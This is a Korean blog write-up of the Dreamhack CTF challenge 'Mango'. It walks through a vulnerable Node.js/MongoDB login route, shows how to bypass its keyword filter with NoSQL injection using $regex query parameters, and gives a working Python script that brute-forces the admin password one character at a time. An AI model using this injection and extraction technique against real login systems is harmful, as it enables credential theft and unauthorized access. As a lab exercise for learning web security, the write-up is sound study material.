반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- 애플리케이션 계층
- 알고리즘
- 선우예권
- 서울청년문화패스
- 코리안챔버오케스트라
- 위상 정렬
- webhacking
- Upstream
- React
- 깃헙
- 깃
- 비동기 처리
- 우아한테크코스
- 프랑스어 #프랑스어배우기 #프랑스어독학 #델프인강 #시원스쿨프랑스어 #delf독학 #델프 #프랑스어기초 #프랑스어공부
- linux
- 우테코
- 진입차수
- 프리코스
- 커밋메시지
- Dreamhack
- 다이나믹 프로그래밍
- 트랜스포트 계층
- 네트워크 계층
- 웹개발
- 자바
- c
- 예술의 전당
- 동적 프로그래밍
- jsx
- 백엔드
Archives
- Today
- Total
yon11b
[DH] Mango 본문
반응형
Mango
문제
아래는 전체 코드
더보기
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
필터링
- admin
- dh
- admi
- 위 문자들의 대문자 ver.
확인.
uid=admin을 하면 필터링 된다.
필터링 코드
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
코드 해석을 위한 정보 !!
JSON.stringify() 메서드는 JavaScript 값이나 객체를 JSON 문자열로 변환합니다.
indexOf() 메서드는 배열에서 지정된 요소를 찾을 수 있는 첫 번째 인덱스를 반환하고 존재하지 않으면 -1을 반환합니다.
로그인 페이지에서 검증하는 코드
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
필터링이 되면 return; 후 종료하고
필터링을 통과하고 에러를 발생시키지 않으면 uid를 send한다.
방법
get 방식으로 regex을 쓸 때는 uid: $regex{}이렇게 쓰는게 아니라 uid[$regex]이렇게 쓴다.
참고로 post 방식은 이렇게 쓴다 [링크]
우회
- uid=admin 우회정규표현식 문법의 .을 사용하면 된다. . 은 임의 문자를 의미한다.
- ?uid[$regex]=ad.in
- upw=DH{ } 우회원래는 upw[$regex]=DH{ 인데 dh가 필터링 되므로 여기서도 . 을 써준다.
- upw[$regex]=D.{*
최종. ?uid[$regex]=ad.in&upw[$regex]=D.{*
위 코드를 url에 입력해주면 admin이 화면에 뜰 것이다.
이렇게 우회한다는 것을 알았으니 이제 익스를 해보자.
익스플로잇
import requests
import requests, string
HOST = '<http://host3.dreamhack.games:10731>'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
코드 해석을 위한 정보!!
- 문자열 포맷 스트링(f)에서 { 을 쓰려면 {{ 으로 써야 한다.
- ?ad.in&upw[$regex]=D.**{{**{flag}{ch}')
- ?uid[$regex]=ad.in&upw[$regex]=D.{8 까지만 맞아도 admin을 리턴한다. upw의 처음부터 끝까지 다 맞아야 하는 게 아니라 두번째까지만 입력해도 맞기만 하면 admin을 리턴한다.
728x90
'보안 > WRITE_UP' 카테고리의 다른 글
[DH] simple-ssti (0) | 2022.07.28 |
---|---|
[DH] csrf-2 (0) | 2022.05.19 |
[webhacking.kr] old-25 (0) | 2022.05.19 |
[webhacking.kr] g00gle2 (0) | 2022.05.19 |
[webhacking.kr] g00gle1 (1) | 2022.05.19 |